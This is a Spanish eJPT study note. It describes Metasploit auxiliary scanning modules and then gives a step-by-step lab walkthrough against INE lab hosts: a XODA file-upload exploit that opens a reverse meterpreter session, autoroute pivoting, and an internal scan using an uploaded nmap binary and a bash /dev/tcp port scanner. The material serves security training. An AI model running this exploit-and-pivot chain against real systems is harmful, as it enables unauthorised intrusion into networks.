> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/metodologias-de-evaluacion/enumeracion/motor-de-scripts-nmap-nse/escaneo-de-puertos-con-modulos-auxiliares.md).

# Escaneo de puertos con módulos auxiliares

Los **módulos auxiliares** de Metasploit son herramientas increíblemente versátiles diseñadas para ayudar durante las fases de reconocimiento, descubrimiento, escaneo y post-explotación de una auditoría de seguridad. A diferencia de los módulos de explotación, los módulos auxiliares no buscan comprometer un sistema directamente, sino recolectar información crítica que facilite futuras acciones ofensivas.

***

### 🛠️ ¿Qué son los Módulos Auxiliares?

Los **módulos auxiliares** permiten realizar tareas como:

* Escaneo de puertos (TCP y UDP).
* Enumeración de servicios (FTP, SSH, HTTP, SMB, etc.).
* Búsqueda de hosts activos.
* Fuzzing de servicios para detectar fallos o comportamientos anómalos.
* Validación de credenciales.
* Análisis de seguridad en aplicaciones y servicios.

Estos módulos pueden ser utilizados tanto **antes** (fase de reconocimiento) como **después** (fase de post-explotación) de haber comprometido un sistema.

***

### 🔍 Casos de uso típicos

* **Escaneo de puertos con auxiliary/scanner/portscan/tcp**:

  ```bash
  use auxiliary/scanner/portscan/tcp
  set RHOSTS 192.168.1.0/24
  set THREADS 20
  run
  ```
* **Enumeración de versiones en servicios FTP**:

  ```bash
  use auxiliary/scanner/ftp/ftp_version
  set RHOSTS 192.168.1.100
  run
  ```
* **Enumeración de títulos de páginas web**:

  ```bash
  use auxiliary/scanner/http/title
  set RHOSTS 192.168.1.0/24
  run
  ```

***

### 🧩 Ejemplo de Uso en un Laboratorio

**Infraestructura del laboratorio**:

* Un primer objetivo accesible desde nuestra máquina atacante.
* Una red interna accesible **solo** desde el objetivo comprometido.

#### Fases:

1. **Escaneo inicial con módulos auxiliares** para identificar puertos y servicios del primer objetivo.
2. **Explotación de uno de los servicios descubiertos** (por ejemplo, SMB o HTTP vulnerable).
3. Una vez obtenido un **foothold**, se establece una sesión con `meterpreter`.
4. Usando **pivoting** y técnicas como `autoroute`, se accede a otra subred interna.
5. Finalmente, se utilizan de nuevo **módulos auxiliares** para escanear y reconocer servicios en los sistemas de la subred interna.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/vbEgMvlMaFXrGHr03291" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo1.ine.local
```

<figure><img src="/files/nHCLcpMGAn3xYfNcLIQP" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap demo1.ine.local
```

Como se muestra en la siguiente captura de pantalla, el escaneo predeterminado de Nmap revela el puerto 80 abierto.

<figure><img src="/files/RaOpxWAvVNYf30GCxKNh" alt=""><figcaption></figcaption></figure>

**Paso 4:** Verifique el contenido HTTP alojado en el puerto 80 de la máquina de destino

**Dominio:**

```
curl demo1.ine.local
```

Como se menciona en el desafío, hay una instancia de aplicación web XODA ejecutándose en el sistema que puede explotarse utilizando el módulo Metasploit “exploit/unix/webapp/xoda\_file\_upload”.

<figure><img src="/files/oiXsZ75vbgkrIkp6VpYF" alt=""><figcaption></figcaption></figure>

**Paso 5:** Iniciar msfconsole

**Dominio:**

```
msfconsole
```

<figure><img src="/files/G2W2oWhFCNaUiau51Fxp" alt=""><figcaption></figcaption></figure>

**Paso 6:** Seleccione el módulo mencionado y configure los valores de los parámetros

**Dominio:**

```
use exploit/unix/webapp/xoda_file_upload
set RHOSTS demo1.ine.local
set TARGETURI /
set LHOST 192.63.4.2
exploit
```

<figure><img src="/files/92ryvlGcYRmhrPE4sXuz" alt=""><figcaption></figcaption></figure>

Se genera una sesión de meterpreter en la máquina de destino.

**Paso 7:** Inicie un shell de comandos e identifique el rango de direcciones IP de la segunda máquina de destino.

**Dominio:**

```
shell
ip addr
```

<figure><img src="/files/0MDql26qVTeqIG60nbUV" alt=""><figcaption></figcaption></figure>

La dirección IP de la primera máquina de destino en su interfaz eth1 es 192.180.108.2, la segunda máquina de destino estará ubicada en 192.180.108.3 en la segunda red.

**Paso 8:** agrega la ruta a la tabla de enrutamiento de Metasploit.

**Dominio:**

```
run autoroute -s 192.180.108.2
```

<figure><img src="/files/vDSPE49R5yHTjrIcWZcx" alt=""><figcaption></figcaption></figure>

**Paso 9:** Ponga en segundo plano la sesión actual de meterpreter y utilice el módulo portscan tcp de Metasploit para escanear la segunda máquina de destino.

Presione CTRL+z y Enter y para poner en segundo plano la sesión de meterpreter.

**Dominio:**

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.180.108.3
set verbose false
set ports 1-1000
exploit
```

<figure><img src="/files/FiVIGIeuRK25yT0iK0sf" alt=""><figcaption></figcaption></figure>

**Paso 10:** Verifique los binarios estáticos disponibles en el directorio "/usr/bin/".

**Dominio:**

```
ls -al /root/static-binaries/nmap
file /root/static-binaries/nmap
```

<figure><img src="/files/3TyPyy8mnby9DGJaVH0O" alt=""><figcaption></figcaption></figure>

**Paso 11:** Ponga en segundo plano la sesión de Metasploit y cree un script de escaneo de puerto bash.

Presione CTRL+z para poner en segundo plano la sesión de Metasploit.

Usando el script proporcionado en \[<https://catonmat.net/tcp-port-scanner-in-bash>] como referencia, cree un script bash para escanear los primeros 1000 puertos

**Dominio:**

```
#!/bin/bash
for port in {1..1000}; do
 timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"
done
```

Guarde el script como bash-port-scanner.sh

<figure><img src="/files/0ipozg05glNERJ6whmRX" alt=""><figcaption></figcaption></figure>

**Paso 12:** Ponga en primer plano la sesión de Metasploit y cambie a la sesión de meterpreter.

Presione "fg" y presione enter para poner en primer plano la sesión de Metasploit.

**Dominio:**

```
sessions -i 1
```

<figure><img src="/files/tdar1ts3fuD0VXBtOF9g" alt=""><figcaption></figcaption></figure>

**Paso 13:** Cargue el binario estático nmap y el script del escáner de puerto bash en la máquina de destino.

**Dominio:**

```
upload /root/static-binaries/nmap /tmp/nmap
upload /root/bash-port-scanner.sh /tmp/bash-port-scanner.sh
```

<figure><img src="/files/BwG9CnRakonwuS4Br1ug" alt=""><figcaption></figcaption></figure>

**Paso 14:** Haga que el binario y el script sean ejecutables y use el script bash para escanear la segunda máquina de destino.

**Dominio:**

```
shell
cd /tmp/
chmod +x ./nmap ./bash-port-scanner.sh
./bash-port-scanner.sh 192.180.108.3
```

<figure><img src="/files/WvXjCNfEX229Tz0BkdE5" alt=""><figcaption></figcaption></figure>

Hay tres puertos abiertos en la máquina de destino: los puertos 21, 22 y 80.

**Paso 15:** utilizando el binario nmap, escanee la máquina de destino en busca de puertos abiertos.

**Dominio:**

```
./nmap -p- 192.180.108.3
```

<figure><img src="/files/Kv3nAAwunfsY0zGnlIeX" alt=""><figcaption></figcaption></figure>

Los servicios que se ejecutan en la máquina de destino son FTP, SSH y HTTP.

#### Referencias

* \[<https://attack.mitre.org/techniques/T1046/>]
